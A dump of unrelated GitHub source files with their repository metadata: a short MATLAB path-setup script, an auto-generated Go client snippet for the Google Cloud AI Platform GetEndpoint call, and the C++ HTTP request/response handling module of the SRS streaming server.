| {'content_hash': '7114364e60f4c731d0f4509b3235b706', 'timestamp': '', 'source': 'github', 'line_count': 273, 'max_line_length': 78, 'avg_line_length': 32.78021978021978, 'alnum_prop': 0.6578388646776177, 'repo_name': 'yiannist/ganeti', 'id': '295240da9caa3222c9288f1556498458e1b197e7', 'size': '8949', 'binary': False, 'copies': '5', 'ref': 'refs/heads/master', 'path': 'test/hs/Test/Ganeti/SlotMap.hs', 'mode': '33188', 'license': 'bsd-2-clause', 'language': [{'name': 'Haskell', 'bytes': '2509723'}, {'name': 'JavaScript', 'bytes': '8808'}, {'name': 'M4', 'bytes': '31972'}, {'name': 'Makefile', 'bytes': '96586'}, {'name': 'Python', 'bytes': '6231906'}, {'name': 'Shell', 'bytes': '151065'}]} |
% get root of current file
root = fullfile(fileparts(mfilename('fullpath')),'../');
p_generated = genpath([root '/Core']);
addpath(p_generated);
addpath([root '/IO']);
addpath([root '/Data']);
addpath([root '/Scripts']);
p_generated = genpath([root '/ThirdParty/tetgen1.4.3/bin']);
addpath(p_generated);
p_generated = genpath([root '/ThirdParty/maslib/bin']);
addpath(p_generated);
clear p_generated;
| {'content_hash': '81c97ff9b6a3f45fd28b2fd533c3a5bf', 'timestamp': '', 'source': 'github', 'line_count': 16, 'max_line_length': 60, 'avg_line_length': 25.3125, 'alnum_prop': 0.6864197530864198, 'repo_name': 'siavashk/GMM-FEM', 'id': '96770015495e84e120342582ab8d07c142dba254', 'size': '405', 'binary': False, 'copies': '1', 'ref': 'refs/heads/master', 'path': 'Scripts/add_bcpd_paths.m', 'mode': '33188', 'license': 'bsd-2-clause', 'language': [{'name': 'C', 'bytes': '94'}, {'name': 'C++', 'bytes': '2046372'}, {'name': 'CMake', 'bytes': '10558'}, {'name': 'Makefile', 'bytes': '3869'}, {'name': 'Matlab', 'bytes': '168332'}, {'name': 'Shell', 'bytes': '2371'}]} |
package main
import (
"context"
aiplatform "cloud.google.com/go/aiplatform/apiv1beta1"
aiplatformpb "cloud.google.com/go/aiplatform/apiv1beta1/aiplatformpb"
)
func main() {
ctx := context.Background()
// This snippet has been automatically generated and should be regarded as a code template only.
// It will require modifications to work:
// - It may require correct/in-range values for request initialization.
// - It may require specifying regional endpoints when creating the service client as shown in:
// https://pkg.go.dev/cloud.google.com/go#hdr-Client_Options
c, err := aiplatform.NewEndpointClient(ctx)
if err != nil {
// TODO: Handle error.
}
defer c.Close()
req := &aiplatformpb.GetEndpointRequest{
// TODO: Fill request struct fields.
// See https://pkg.go.dev/cloud.google.com/go/aiplatform/apiv1beta1/aiplatformpb#GetEndpointRequest.
}
resp, err := c.GetEndpoint(ctx, req)
if err != nil {
// TODO: Handle error.
}
// TODO: Use resp.
_ = resp
}
// [END aiplatform_v1beta1_generated_EndpointService_GetEndpoint_sync]
| {'content_hash': 'e3bbd8f0b19426a022d62a0e1da3edcc', 'timestamp': '', 'source': 'github', 'line_count': 35, 'max_line_length': 102, 'avg_line_length': 30.428571428571427, 'alnum_prop': 0.7295774647887324, 'repo_name': 'googleapis/google-cloud-go', 'id': '3067e39935255049f3815f4065db76bd9dfd979f', 'size': '1814', 'binary': False, 'copies': '1', 'ref': 'refs/heads/main', 'path': 'internal/generated/snippets/aiplatform/apiv1beta1/EndpointClient/GetEndpoint/main.go', 'mode': '33188', 'license': 'apache-2.0', 'language': [{'name': 'Assembly', 'bytes': '10349'}, {'name': 'C', 'bytes': '74'}, {'name': 'Dockerfile', 'bytes': '1841'}, {'name': 'Go', 'bytes': '7626642'}, {'name': 'M4', 'bytes': '43723'}, {'name': 'Makefile', 'bytes': '1455'}, {'name': 'Python', 'bytes': '718'}, {'name': 'Shell', 'bytes': '27309'}]} |
#include <srs_app_http_conn.hpp>
#if defined(SRS_AUTO_HTTP_CORE)
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdlib.h>
#include <sstream>
using namespace std;
#include <srs_protocol_buffer.hpp>
#include <srs_rtmp_utility.hpp>
#include <srs_kernel_log.hpp>
#include <srs_kernel_error.hpp>
#include <srs_app_st.hpp>
#include <srs_core_autofree.hpp>
#include <srs_app_config.hpp>
#include <srs_kernel_utility.hpp>
#include <srs_kernel_file.hpp>
#include <srs_kernel_flv.hpp>
#include <srs_rtmp_stack.hpp>
#include <srs_app_source.hpp>
#include <srs_rtmp_msg_array.hpp>
#include <srs_kernel_aac.hpp>
#include <srs_kernel_mp3.hpp>
#include <srs_kernel_ts.hpp>
#include <srs_app_pithy_print.hpp>
#include <srs_app_source.hpp>
#include <srs_app_server.hpp>
#include <srs_app_http_static.hpp>
#include <srs_app_http_stream.hpp>
#include <srs_app_http_api.hpp>
#include <srs_app_utility.hpp>
#endif
#ifdef SRS_AUTO_HTTP_CORE
SrsHttpResponseWriter::SrsHttpResponseWriter(SrsStSocket* io)
{
skt = io;
hdr = new SrsHttpHeader();
header_wrote = false;
status = SRS_CONSTS_HTTP_OK;
content_length = -1;
written = 0;
header_sent = false;
nb_iovss_cache = 0;
iovss_cache = NULL;
}
SrsHttpResponseWriter::~SrsHttpResponseWriter()
{
srs_freep(hdr);
srs_freepa(iovss_cache);
}
int SrsHttpResponseWriter::final_request()
{
// write the header data in memory.
if (!header_wrote) {
write_header(SRS_CONSTS_HTTP_OK);
}
// complete the chunked encoding.
if (content_length == -1) {
std::stringstream ss;
ss << 0 << SRS_HTTP_CRLF << SRS_HTTP_CRLF;
std::string ch = ss.str();
return skt->write((void*)ch.data(), (int)ch.length(), NULL);
}
// flush when send with content length
return write(NULL, 0);
}
SrsHttpHeader* SrsHttpResponseWriter::header()
{
return hdr;
}
int SrsHttpResponseWriter::write(char* data, int size)
{
int ret = ERROR_SUCCESS;
// write the header data in memory.
if (!header_wrote) {
write_header(SRS_CONSTS_HTTP_OK);
}
// whatever header is wrote, we should try to send header.
if ((ret = send_header(data, size)) != ERROR_SUCCESS) {
srs_error("http: send header failed. ret=%d", ret);
return ret;
}
// check the bytes send and content length.
written += size;
if (content_length != -1 && written > content_length) {
ret = ERROR_HTTP_CONTENT_LENGTH;
srs_error("http: exceed content length. ret=%d", ret);
return ret;
}
// ignore NULL content.
if (!data) {
return ret;
}
// directly send with content length
if (content_length != -1) {
return skt->write((void*)data, size, NULL);
}
// send in chunked encoding.
int nb_size = snprintf(header_cache, SRS_HTTP_HEADER_CACHE_SIZE, "%x", size);
iovec iovs[4];
iovs[0].iov_base = (char*)header_cache;
iovs[0].iov_len = (int)nb_size;
iovs[1].iov_base = (char*)SRS_HTTP_CRLF;
iovs[1].iov_len = 2;
iovs[2].iov_base = (char*)data;
iovs[2].iov_len = size;
iovs[3].iov_base = (char*)SRS_HTTP_CRLF;
iovs[3].iov_len = 2;
ssize_t nwrite;
if ((ret = skt->writev(iovs, 4, &nwrite)) != ERROR_SUCCESS) {
return ret;
}
return ret;
}
int SrsHttpResponseWriter::writev(iovec* iov, int iovcnt, ssize_t* pnwrite)
{
int ret = ERROR_SUCCESS;
// when header not ready, or not chunked, send one by one.
if (!header_wrote || content_length != -1) {
ssize_t nwrite = 0;
for (int i = 0; i < iovcnt; i++) {
iovec* piovc = iov + i;
nwrite += piovc->iov_len;
if ((ret = write((char*)piovc->iov_base, (int)piovc->iov_len)) != ERROR_SUCCESS) {
return ret;
}
}
if (pnwrite) {
*pnwrite = nwrite;
}
return ret;
}
// ignore NULL content.
if (iovcnt <= 0) {
return ret;
}
// send in chunked encoding.
int nb_iovss = 3 + iovcnt;
iovec* iovss = iovss_cache;
if (nb_iovss_cache < nb_iovss) {
srs_freepa(iovss_cache);
nb_iovss_cache = nb_iovss;
iovss = iovss_cache = new iovec[nb_iovss];
}
// send in chunked encoding.
// chunk size.
int size = 0;
for (int i = 0; i < iovcnt; i++) {
iovec* data_iov = iov + i;
size += data_iov->iov_len;
}
written += size;
// chunk header
int nb_size = snprintf(header_cache, SRS_HTTP_HEADER_CACHE_SIZE, "%x", size);
iovec* iovs = iovss;
iovs[0].iov_base = (char*)header_cache;
iovs[0].iov_len = (int)nb_size;
iovs++;
// chunk header eof.
iovs[0].iov_base = (char*)SRS_HTTP_CRLF;
iovs[0].iov_len = 2;
iovs++;
// chunk body.
for (int i = 0; i < iovcnt; i++) {
iovec* data_iov = iov + i;
iovs[0].iov_base = (char*)data_iov->iov_base;
iovs[0].iov_len = (int)data_iov->iov_len;
iovs++;
}
// chunk body eof.
iovs[0].iov_base = (char*)SRS_HTTP_CRLF;
iovs[0].iov_len = 2;
iovs++;
// sendout all ioves.
ssize_t nwrite;
if ((ret = srs_write_large_iovs(skt, iovss, nb_iovss, &nwrite)) != ERROR_SUCCESS) {
return ret;
}
if (pnwrite) {
*pnwrite = nwrite;
}
return ret;
}
void SrsHttpResponseWriter::write_header(int code)
{
if (header_wrote) {
srs_warn("http: multiple write_header calls, code=%d", code);
return;
}
header_wrote = true;
status = code;
// parse the content length from header.
content_length = hdr->content_length();
}
int SrsHttpResponseWriter::send_header(char* data, int size)
{
int ret = ERROR_SUCCESS;
if (header_sent) {
return ret;
}
header_sent = true;
std::stringstream ss;
// status_line
ss << "HTTP/1.1 " << status << " "
<< srs_generate_http_status_text(status) << SRS_HTTP_CRLF;
// detect content type
if (srs_go_http_body_allowd(status)) {
if (hdr->content_type().empty()) {
hdr->set_content_type(srs_go_http_detect(data, size));
}
}
// set server if not set.
if (hdr->get("Server").empty()) {
hdr->set("Server", RTMP_SIG_SRS_SERVER);
}
// chunked encoding
if (content_length == -1) {
hdr->set("Transfer-Encoding", "chunked");
}
// keep alive to make vlc happy.
hdr->set("Connection", "Keep-Alive");
// write headers
hdr->write(ss);
// header_eof
ss << SRS_HTTP_CRLF;
std::string buf = ss.str();
return skt->write((void*)buf.c_str(), buf.length(), NULL);
}
SrsHttpResponseReader::SrsHttpResponseReader(SrsHttpMessage* msg, SrsStSocket* io)
{
skt = io;
owner = msg;
is_eof = false;
nb_total_read = 0;
nb_left_chunk = 0;
buffer = NULL;
}
SrsHttpResponseReader::~SrsHttpResponseReader()
{
}
int SrsHttpResponseReader::initialize(SrsFastBuffer* body)
{
int ret = ERROR_SUCCESS;
nb_chunk = 0;
nb_left_chunk = 0;
nb_total_read = 0;
buffer = body;
return ret;
}
bool SrsHttpResponseReader::eof()
{
return is_eof;
}
int SrsHttpResponseReader::read(char* data, int nb_data, int* nb_read)
{
int ret = ERROR_SUCCESS;
if (is_eof) {
ret = ERROR_HTTP_RESPONSE_EOF;
srs_error("http: response EOF. ret=%d", ret);
return ret;
}
// chunked encoding.
if (owner->is_chunked()) {
return read_chunked(data, nb_data, nb_read);
}
// read by specified content-length
if (owner->content_length() != -1) {
int max = (int)owner->content_length() - (int)nb_total_read;
if (max <= 0) {
is_eof = true;
return ret;
}
// change the max to read.
nb_data = srs_min(nb_data, max);
return read_specified(data, nb_data, nb_read);
}
// infinite chunked mode, directly read.
if (owner->is_infinite_chunked()) {
srs_assert(!owner->is_chunked() && owner->content_length() == -1);
return read_specified(data, nb_data, nb_read);
}
// infinite chunked mode, but user not set it,
// we think there is no data left.
is_eof = true;
return ret;
}
int SrsHttpResponseReader::read_chunked(char* data, int nb_data, int* nb_read)
{
int ret = ERROR_SUCCESS;
// when no bytes left in chunk,
// parse the chunk length first.
if (nb_left_chunk <= 0) {
char* at = NULL;
int length = 0;
while (!at) {
// find the CRLF of chunk header end.
char* start = buffer->bytes();
char* end = start + buffer->size();
for (char* p = start; p < end - 1; p++) {
if (p[0] == SRS_HTTP_CR && p[1] == SRS_HTTP_LF) {
// invalid chunk, ignore.
if (p == start) {
ret = ERROR_HTTP_INVALID_CHUNK_HEADER;
srs_error("chunk header start with CRLF. ret=%d", ret);
return ret;
}
length = (int)(p - start + 2);
at = buffer->read_slice(length);
break;
}
}
// got at, ok.
if (at) {
break;
}
// when empty, only grow 1bytes, but the buffer will cache more.
if ((ret = buffer->grow(skt, buffer->size() + 1)) != ERROR_SUCCESS) {
if (!srs_is_client_gracefully_close(ret)) {
srs_error("read body from server failed. ret=%d", ret);
}
return ret;
}
}
srs_assert(length >= 3);
// it's ok to set the pos and pos+1 to NULL.
at[length - 1] = 0;
at[length - 2] = 0;
// size is the bytes size, excludes the chunk header and end CRLF.
int ilength = (int)::strtol(at, NULL, 16);
if (ilength < 0) {
ret = ERROR_HTTP_INVALID_CHUNK_HEADER;
srs_error("chunk header negative, length=%d. ret=%d", ilength, ret);
return ret;
}
// all bytes in chunk is left now.
nb_chunk = nb_left_chunk = ilength;
}
if (nb_chunk <= 0) {
// for the last chunk, eof.
is_eof = true;
} else {
// for not the last chunk, there must always exists bytes.
// left bytes in chunk, read some.
srs_assert(nb_left_chunk);
int nb_bytes = srs_min(nb_left_chunk, nb_data);
ret = read_specified(data, nb_bytes, &nb_bytes);
// the nb_bytes used for output already read size of bytes.
if (nb_read) {
*nb_read = nb_bytes;
}
nb_left_chunk -= nb_bytes;
srs_info("http: read %d bytes of chunk", nb_bytes);
// error or still left bytes in chunk, ignore and read in future.
if (nb_left_chunk > 0 || (ret != ERROR_SUCCESS)) {
return ret;
}
srs_info("http: read total chunk %dB", nb_chunk);
}
// for both the last or not, the CRLF of chunk payload end.
if ((ret = buffer->grow(skt, 2)) != ERROR_SUCCESS) {
if (!srs_is_client_gracefully_close(ret)) {
srs_error("read EOF of chunk from server failed. ret=%d", ret);
}
return ret;
}
buffer->read_slice(2);
return ret;
}
int SrsHttpResponseReader::read_specified(char* data, int nb_data, int* nb_read)
{
int ret = ERROR_SUCCESS;
if (buffer->size() <= 0) {
// when empty, only grow 1bytes, but the buffer will cache more.
if ((ret = buffer->grow(skt, 1)) != ERROR_SUCCESS) {
if (!srs_is_client_gracefully_close(ret)) {
srs_error("read body from server failed. ret=%d", ret);
}
return ret;
}
}
int nb_bytes = srs_min(nb_data, buffer->size());
// read data to buffer.
srs_assert(nb_bytes);
char* p = buffer->read_slice(nb_bytes);
memcpy(data, p, nb_bytes);
if (nb_read) {
*nb_read = nb_bytes;
}
// increase the total read to determine whether EOF.
nb_total_read += nb_bytes;
// for not chunked and specified content length.
if (!owner->is_chunked() && owner->content_length() != -1) {
// when read completed, eof.
if (nb_total_read >= (int)owner->content_length()) {
is_eof = true;
}
}
return ret;
}
SrsHttpMessage::SrsHttpMessage(SrsStSocket* io, SrsConnection* c) : ISrsHttpMessage()
{
conn = c;
chunked = false;
infinite_chunked = false;
keep_alive = true;
_uri = new SrsHttpUri();
_body = new SrsHttpResponseReader(this, io);
_http_ts_send_buffer = new char[SRS_HTTP_TS_SEND_BUFFER_SIZE];
jsonp = false;
}
SrsHttpMessage::~SrsHttpMessage()
{
srs_freep(_body);
srs_freep(_uri);
srs_freepa(_http_ts_send_buffer);
}
int SrsHttpMessage::update(string url, http_parser* header, SrsFastBuffer* body, vector<SrsHttpHeaderField>& headers)
{
int ret = ERROR_SUCCESS;
_url = url;
_header = *header;
_headers = headers;
// whether chunked.
std::string transfer_encoding = get_request_header("Transfer-Encoding");
chunked = (transfer_encoding == "chunked");
// whether keep alive.
keep_alive = http_should_keep_alive(header);
// set the buffer.
if ((ret = _body->initialize(body)) != ERROR_SUCCESS) {
return ret;
}
// parse uri from url.
std::string host = get_request_header("Host");
// use server public ip when no host specified.
// to make telnet happy.
if (host.empty()) {
host= srs_get_public_internet_address();
}
// parse uri to schema/server:port/path?query
std::string uri = "http://" + host + _url;
if ((ret = _uri->initialize(uri)) != ERROR_SUCCESS) {
return ret;
}
// must format as key=value&...&keyN=valueN
std::string q = _uri->get_query();
size_t pos = string::npos;
while (!q.empty()) {
std::string k = q;
if ((pos = q.find("=")) != string::npos) {
k = q.substr(0, pos);
q = q.substr(pos + 1);
} else {
q = "";
}
std::string v = q;
if ((pos = q.find("&")) != string::npos) {
v = q.substr(0, pos);
q = q.substr(pos + 1);
} else {
q = "";
}
_query[k] = v;
}
// parse ext.
_ext = _uri->get_path();
if ((pos = _ext.rfind(".")) != string::npos) {
_ext = _ext.substr(pos);
} else {
_ext = "";
}
// parse jsonp request message.
if (!query_get("callback").empty()) {
jsonp = true;
}
if (jsonp) {
jsonp_method = query_get("method");
}
return ret;
}
SrsConnection* SrsHttpMessage::connection()
{
return conn;
}
u_int8_t SrsHttpMessage::method()
{
if (jsonp && !jsonp_method.empty()) {
if (jsonp_method == "GET") {
return SRS_CONSTS_HTTP_GET;
} else if (jsonp_method == "PUT") {
return SRS_CONSTS_HTTP_PUT;
} else if (jsonp_method == "POST") {
return SRS_CONSTS_HTTP_POST;
} else if (jsonp_method == "DELETE") {
return SRS_CONSTS_HTTP_DELETE;
}
}
return (u_int8_t)_header.method;
}
u_int16_t SrsHttpMessage::status_code()
{
return (u_int16_t)_header.status_code;
}
string SrsHttpMessage::method_str()
{
if (jsonp && !jsonp_method.empty()) {
return jsonp_method;
}
if (is_http_get()) {
return "GET";
}
if (is_http_put()) {
return "PUT";
}
if (is_http_post()) {
return "POST";
}
if (is_http_delete()) {
return "DELETE";
}
if (is_http_options()) {
return "OPTIONS";
}
return "OTHER";
}
bool SrsHttpMessage::is_http_get()
{
return method() == SRS_CONSTS_HTTP_GET;
}
bool SrsHttpMessage::is_http_put()
{
return method() == SRS_CONSTS_HTTP_PUT;
}
bool SrsHttpMessage::is_http_post()
{
return method() == SRS_CONSTS_HTTP_POST;
}
bool SrsHttpMessage::is_http_delete()
{
return method() == SRS_CONSTS_HTTP_DELETE;
}
bool SrsHttpMessage::is_http_options()
{
return _header.method == SRS_CONSTS_HTTP_OPTIONS;
}
bool SrsHttpMessage::is_chunked()
{
return chunked;
}
bool SrsHttpMessage::is_keep_alive()
{
return keep_alive;
}
bool SrsHttpMessage::is_infinite_chunked()
{
return infinite_chunked;
}
string SrsHttpMessage::uri()
{
std::string uri = _uri->get_schema();
if (uri.empty()) {
uri += "http";
}
uri += "://";
uri += host();
uri += path();
return uri;
}
string SrsHttpMessage::url()
{
return _uri->get_url();
}
string SrsHttpMessage::host()
{
return _uri->get_host();
}
string SrsHttpMessage::path()
{
return _uri->get_path();
}
string SrsHttpMessage::query()
{
return _uri->get_query();
}
string SrsHttpMessage::ext()
{
return _ext;
}
int SrsHttpMessage::parse_rest_id(string pattern)
{
string p = _uri->get_path();
if (p.length() <= pattern.length()) {
return -1;
}
string id = p.substr((int)pattern.length());
if (!id.empty()) {
return ::atoi(id.c_str());
}
return -1;
}
int SrsHttpMessage::parse_rest_str(std::string pattern, std::string& req)
{
int ret = ERROR_SUCCESS;
string p = _uri->get_path();
if (p.length() <= pattern.length()) {
return -1;
}
req = p.substr((int)(pattern.length() - 1));
if (req.empty()) {
return -1;
}
return ret;
}
int SrsHttpMessage::enter_infinite_chunked()
{
int ret = ERROR_SUCCESS;
if (infinite_chunked) {
return ret;
}
if (is_chunked() || content_length() != -1) {
ret = ERROR_HTTP_DATA_INVALID;
srs_error("infinite chunkted not supported in specified codec. ret=%d", ret);
return ret;
}
infinite_chunked = true;
return ret;
}
int SrsHttpMessage::body_read_all(string& body)
{
int ret = ERROR_SUCCESS;
// cache to read.
char* buf = new char[SRS_HTTP_READ_CACHE_BYTES];
SrsAutoFreeA(char, buf);
// whatever, read util EOF.
while (!_body->eof()) {
int nb_read = 0;
if ((ret = _body->read(buf, SRS_HTTP_READ_CACHE_BYTES, &nb_read)) != ERROR_SUCCESS) {
return ret;
}
if (nb_read > 0) {
body.append(buf, nb_read);
}
}
return ret;
}
ISrsHttpResponseReader* SrsHttpMessage::body_reader()
{
return _body;
}
int64_t SrsHttpMessage::content_length()
{
return _header.content_length;
}
string SrsHttpMessage::query_get(string key)
{
std::string v;
if (_query.find(key) != _query.end()) {
v = _query[key];
}
return v;
}
int SrsHttpMessage::request_header_count()
{
return (int)_headers.size();
}
string SrsHttpMessage::request_header_key_at(int index)
{
srs_assert(index < request_header_count());
SrsHttpHeaderField item = _headers[index];
return item.first;
}
string SrsHttpMessage::request_header_value_at(int index)
{
srs_assert(index < request_header_count());
SrsHttpHeaderField item = _headers[index];
return item.second;
}
string SrsHttpMessage::get_request_header(string name)
{
std::vector<SrsHttpHeaderField>::iterator it;
for (it = _headers.begin(); it != _headers.end(); ++it) {
SrsHttpHeaderField& elem = *it;
std::string key = elem.first;
std::string value = elem.second;
if (key == name) {
return value;
}
}
return "";
}
SrsRequest* SrsHttpMessage::to_request(string vhost)
{
SrsRequest* req = new SrsRequest();
req->app = _uri->get_path();
size_t pos = string::npos;
if ((pos = req->app.rfind("/")) != string::npos) {
req->stream = req->app.substr(pos + 1);
req->app = req->app.substr(0, pos);
}
if ((pos = req->stream.rfind(".")) != string::npos) {
req->stream = req->stream.substr(0, pos);
}
req->tcUrl = "rtmp://" + vhost + req->app;
req->pageUrl = get_request_header("Referer");
req->objectEncoding = 0;
srs_discovery_tc_url(req->tcUrl,
req->schema, req->host, req->vhost, req->app, req->port,
req->param);
req->strip();
return req;
}
bool SrsHttpMessage::is_jsonp()
{
return jsonp;
}
SrsHttpParser::SrsHttpParser()
{
buffer = new SrsFastBuffer();
}
SrsHttpParser::~SrsHttpParser()
{
srs_freep(buffer);
}
int SrsHttpParser::initialize(enum http_parser_type type)
{
int ret = ERROR_SUCCESS;
memset(&settings, 0, sizeof(settings));
settings.on_message_begin = on_message_begin;
settings.on_url = on_url;
settings.on_header_field = on_header_field;
settings.on_header_value = on_header_value;
settings.on_headers_complete = on_headers_complete;
settings.on_body = on_body;
settings.on_message_complete = on_message_complete;
http_parser_init(&parser, type);
// callback object ptr.
parser.data = (void*)this;
return ret;
}
int SrsHttpParser::parse_message(SrsStSocket* skt, SrsConnection* conn, ISrsHttpMessage** ppmsg)
{
*ppmsg = NULL;
int ret = ERROR_SUCCESS;
// reset request data.
field_name = "";
field_value = "";
expect_field_name = true;
state = SrsHttpParseStateInit;
header = http_parser();
url = "";
headers.clear();
header_parsed = 0;
// do parse
if ((ret = parse_message_imp(skt)) != ERROR_SUCCESS) {
if (!srs_is_client_gracefully_close(ret)) {
srs_error("parse http msg failed. ret=%d", ret);
}
return ret;
}
// create msg
SrsHttpMessage* msg = new SrsHttpMessage(skt, conn);
// initalize http msg, parse url.
if ((ret = msg->update(url, &header, buffer, headers)) != ERROR_SUCCESS) {
srs_error("initialize http msg failed. ret=%d", ret);
srs_freep(msg);
return ret;
}
// parse ok, return the msg.
*ppmsg = msg;
return ret;
}
int SrsHttpParser::parse_message_imp(SrsStSocket* skt)
{
int ret = ERROR_SUCCESS;
while (true) {
ssize_t nparsed = 0;
// when got entire http header, parse it.
// @see https://github.com/ossrs/srs/issues/400
char* start = buffer->bytes();
char* end = start + buffer->size();
for (char* p = start; p <= end - 4; p++) {
// SRS_HTTP_CRLFCRLF "\r\n\r\n" // 0x0D0A0D0A
if (p[0] == SRS_CONSTS_CR && p[1] == SRS_CONSTS_LF && p[2] == SRS_CONSTS_CR && p[3] == SRS_CONSTS_LF) {
nparsed = http_parser_execute(&parser, &settings, buffer->bytes(), buffer->size());
srs_info("buffer=%d, nparsed=%d, header=%d", buffer->size(), (int)nparsed, header_parsed);
break;
}
}
// consume the parsed bytes.
if (nparsed && header_parsed) {
buffer->read_slice(header_parsed);
}
// ok atleast header completed,
// never wait for body completed, for maybe chunked.
if (state == SrsHttpParseStateHeaderComplete || state == SrsHttpParseStateMessageComplete) {
break;
}
// when nothing parsed, read more to parse.
if (nparsed == 0) {
// when requires more, only grow 1bytes, but the buffer will cache more.
if ((ret = buffer->grow(skt, buffer->size() + 1)) != ERROR_SUCCESS) {
if (!srs_is_client_gracefully_close(ret)) {
srs_error("read body from server failed. ret=%d", ret);
}
return ret;
}
}
}
// parse last header.
if (!field_name.empty() && !field_value.empty()) {
headers.push_back(std::make_pair(field_name, field_value));
}
return ret;
}
int SrsHttpParser::on_message_begin(http_parser* parser)
{
SrsHttpParser* obj = (SrsHttpParser*)parser->data;
srs_assert(obj);
obj->state = SrsHttpParseStateStart;
srs_info("***MESSAGE BEGIN***");
return 0;
}
int SrsHttpParser::on_headers_complete(http_parser* parser)
{
SrsHttpParser* obj = (SrsHttpParser*)parser->data;
srs_assert(obj);
obj->header = *parser;
// save the parser when header parse completed.
obj->state = SrsHttpParseStateHeaderComplete;
obj->header_parsed = (int)parser->nread;
srs_info("***HEADERS COMPLETE***");
// see http_parser.c:1570, return 1 to skip body.
return 0;
}
int SrsHttpParser::on_message_complete(http_parser* parser)
{
SrsHttpParser* obj = (SrsHttpParser*)parser->data;
srs_assert(obj);
// save the parser when body parse completed.
obj->state = SrsHttpParseStateMessageComplete;
srs_info("***MESSAGE COMPLETE***\n");
return 0;
}
int SrsHttpParser::on_url(http_parser* parser, const char* at, size_t length)
{
SrsHttpParser* obj = (SrsHttpParser*)parser->data;
srs_assert(obj);
if (length > 0) {
obj->url.append(at, (int)length);
}
srs_info("Method: %d, Url: %.*s", parser->method, (int)length, at);
return 0;
}
int SrsHttpParser::on_header_field(http_parser* parser, const char* at, size_t length)
{
SrsHttpParser* obj = (SrsHttpParser*)parser->data;
srs_assert(obj);
// field value=>name, reap the field.
if (!obj->expect_field_name) {
obj->headers.push_back(std::make_pair(obj->field_name, obj->field_value));
// reset the field name when parsed.
obj->field_name = "";
obj->field_value = "";
}
obj->expect_field_name = true;
if (length > 0) {
obj->field_name.append(at, (int)length);
}
srs_info("Header field(%d bytes): %.*s", (int)length, (int)length, at);
return 0;
}
int SrsHttpParser::on_header_value(http_parser* parser, const char* at, size_t length)
{
SrsHttpParser* obj = (SrsHttpParser*)parser->data;
srs_assert(obj);
if (length > 0) {
obj->field_value.append(at, (int)length);
}
obj->expect_field_name = false;
srs_info("Header value(%d bytes): %.*s", (int)length, (int)length, at);
return 0;
}
int SrsHttpParser::on_body(http_parser* parser, const char* at, size_t length)
{
SrsHttpParser* obj = (SrsHttpParser*)parser->data;
srs_assert(obj);
srs_info("Body: %.*s", (int)length, at);
return 0;
}
SrsHttpUri::SrsHttpUri()
{
port = SRS_DEFAULT_HTTP_PORT;
}
SrsHttpUri::~SrsHttpUri()
{
}
int SrsHttpUri::initialize(string _url)
{
int ret = ERROR_SUCCESS;
url = _url;
const char* purl = url.c_str();
http_parser_url hp_u;
if((ret = http_parser_parse_url(purl, url.length(), 0, &hp_u)) != 0){
int code = ret;
ret = ERROR_HTTP_PARSE_URI;
srs_error("parse url %s failed, code=%d, ret=%d", purl, code, ret);
return ret;
}
std::string field = get_uri_field(url, &hp_u, UF_SCHEMA);
if(!field.empty()){
schema = field;
}
host = get_uri_field(url, &hp_u, UF_HOST);
field = get_uri_field(url, &hp_u, UF_PORT);
if(!field.empty()){
port = atoi(field.c_str());
}
path = get_uri_field(url, &hp_u, UF_PATH);
srs_info("parse url %s success", purl);
query = get_uri_field(url, &hp_u, UF_QUERY);
srs_info("parse query %s success", query.c_str());
return ret;
}
const char* SrsHttpUri::get_url()
{
return url.data();
}
const char* SrsHttpUri::get_schema()
{
return schema.data();
}
const char* SrsHttpUri::get_host()
{
return host.data();
}
int SrsHttpUri::get_port()
{
return port;
}
const char* SrsHttpUri::get_path()
{
return path.data();
}
const char* SrsHttpUri::get_query()
{
return query.data();
}
string SrsHttpUri::get_uri_field(string uri, http_parser_url* hp_u, http_parser_url_fields field)
{
if((hp_u->field_set & (1 << field)) == 0){
return "";
}
srs_verbose("uri field matched, off=%d, len=%d, value=%.*s",
hp_u->field_data[field].off,
hp_u->field_data[field].len,
hp_u->field_data[field].len,
uri.c_str() + hp_u->field_data[field].off);
int offset = hp_u->field_data[field].off;
int len = hp_u->field_data[field].len;
return uri.substr(offset, len);
}
SrsHttpConn::SrsHttpConn(IConnectionManager* cm, st_netfd_t fd, ISrsHttpServeMux* m)
: SrsConnection(cm, fd)
{
parser = new SrsHttpParser();
http_mux = m;
}
SrsHttpConn::~SrsHttpConn()
{
srs_freep(parser);
}
void SrsHttpConn::resample()
{
// TODO: FIXME: implements it
}
int64_t SrsHttpConn::get_send_bytes_delta()
{
// TODO: FIXME: implements it
return 0;
}
int64_t SrsHttpConn::get_recv_bytes_delta()
{
// TODO: FIXME: implements it
return 0;
}
void SrsHttpConn::cleanup()
{
// TODO: FIXME: implements it
}
int SrsHttpConn::do_cycle()
{
int ret = ERROR_SUCCESS;
srs_trace("HTTP client ip=%s", ip.c_str());
// initialize parser
if ((ret = parser->initialize(HTTP_REQUEST)) != ERROR_SUCCESS) {
srs_error("http initialize http parser failed. ret=%d", ret);
return ret;
}
// underlayer socket
SrsStSocket skt(stfd);
// set the recv timeout, for some clients never disconnect the connection.
// @see https://github.com/ossrs/srs/issues/398
skt.set_recv_timeout(SRS_HTTP_RECV_TIMEOUT_US);
// process http messages.
while (!disposed) {
ISrsHttpMessage* req = NULL;
// get a http message
if ((ret = parser->parse_message(&skt, this, &req)) != ERROR_SUCCESS) {
return ret;
}
// if SUCCESS, always NOT-NULL.
srs_assert(req);
// always free it in this scope.
SrsAutoFree(ISrsHttpMessage, req);
// may should discard the body.
if ((ret = on_got_http_message(req)) != ERROR_SUCCESS) {
return ret;
}
// ok, handle http request.
SrsHttpResponseWriter writer(&skt);
if ((ret = process_request(&writer, req)) != ERROR_SUCCESS) {
return ret;
}
// donot keep alive, disconnect it.
// @see https://github.com/ossrs/srs/issues/399
if (!req->is_keep_alive()) {
break;
}
}
return ret;
}
int SrsHttpConn::process_request(ISrsHttpResponseWriter* w, ISrsHttpMessage* r)
{
int ret = ERROR_SUCCESS;
srs_trace("HTTP %s %s, content-length=%"PRId64"",
r->method_str().c_str(), r->url().c_str(), r->content_length());
// use default server mux to serve http request.
if ((ret = http_mux->serve_http(w, r)) != ERROR_SUCCESS) {
if (!srs_is_client_gracefully_close(ret)) {
srs_error("serve http msg failed. ret=%d", ret);
}
return ret;
}
return ret;
}
